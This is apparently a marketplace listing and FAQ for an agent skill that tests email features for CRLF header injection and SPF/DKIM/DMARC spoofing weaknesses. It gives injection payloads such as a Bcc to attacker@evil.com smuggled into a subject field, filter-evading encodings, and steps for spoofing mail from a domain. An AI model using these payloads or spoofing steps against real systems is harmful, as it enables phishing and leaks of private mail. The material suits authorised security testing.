email-header-injection

Tests email-sending features for SMTP CRLF header injection and SPF/DKIM/DMARC spoofing weaknesses.

Updated Jun 5, 2026
One-click install
npx skills add https://github.com/lNwNl/Praxis --skill email-header-injection-lnwnl
Or copy as Structured Prompt for Agent▼
Please help me install this Agent Skill.
Skill: email-header-injection
Source: https://github.com/lNwNl/Praxis/tree/main/skills/_disabled/email-header-injection
Command: npx skills add https://github.com/lNwNl/Praxis --skill email-header-injection-lnwnl

SYSTEM DOCUMENTATION & REQUIREMENTS

What problem does it solve? When penetration testing contact forms, password reset flows, or email APIs, testers often miss the distinction between SMTP header injection (CRLF-based) and email authentication bypass (SPF/DKIM/DMARC misconfiguration), leaving spoofing and exfiltration vectors unexplored. ## Core Features & Use Cases - CRLF Header Injection Playbook: Payloads and encoding variants (%0d%0a, double-encoding, LF-only, Unicode) for injecting Bcc, Reply-To, Content-Type, and full email bodies through user-controlled fields. - Email Authentication Bypass: Techniques for enumerating and exploiting SPF, DKIM, and DMARC weaknesses, plus display name spoofing that works even with strict policies. - Use Case: While testing a target's contact form, inject test%0d%0aBcc:attacker@evil.com into the subject field, confirm the extra header in the received email, then escalate to body injection and check dig TXT _dmarc.target.com for spoofing feasibility. ## Quick Start Ask the agent to test the target's contact form and password reset feature for email header injection and check the domain's SPF and DMARC records for spoofing weaknesses.

Frequently Asked Questions about email-header-injection

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I test a contact form for email header injection?▼

Inject CRLF sequences like %0d%0aBcc:attacker@evil.com into each user-controlled field (subject, from, name) and inspect the received email headers. If the injected header appears, escalate to body injection using a blank line (%0d%0a%0d%0a) to control message content.

How to bypass SPF, DKIM, and DMARC when spoofing email?▼

Enumerate records with dig TXT target.com and dig TXT _dmarc.target.com. Look for missing records, +all or ~all in SPF, p=none in DMARC, relaxed alignment, or subdomain policies (sp=none). If all are strict, display name spoofing still works since it is not authenticated.

What encoding variants work when CRLF injection is filtered?▼

Try double URL-encoding (%250d%250a), LF-only (%0a) since some SMTP servers accept it without CR, Unicode escapes (\u000d\u000a), raw CRLF in the request body, or null byte prefixes (%00%0d%0a). Different frameworks sanitize differently.

Which frameworks are vulnerable to email header injection?▼

PHP mail() is injectable through to, subject, and headers parameters; Python smtplib is vulnerable when user input is concatenated into the raw message string; Node.js nodemailer is injectable via the from and subject options. Any unsanitized user input placed into SMTP headers is a candidate.

What is the difference between header injection and email spoofing?▼

Header injection exploits CRLF handling in an application's mail-sending code to add attacker-controlled headers or body content. Spoofing exploits missing or weak SPF/DKIM/DMARC configuration to send email as the target domain from external infrastructure. Both are covered as separate attack surfaces.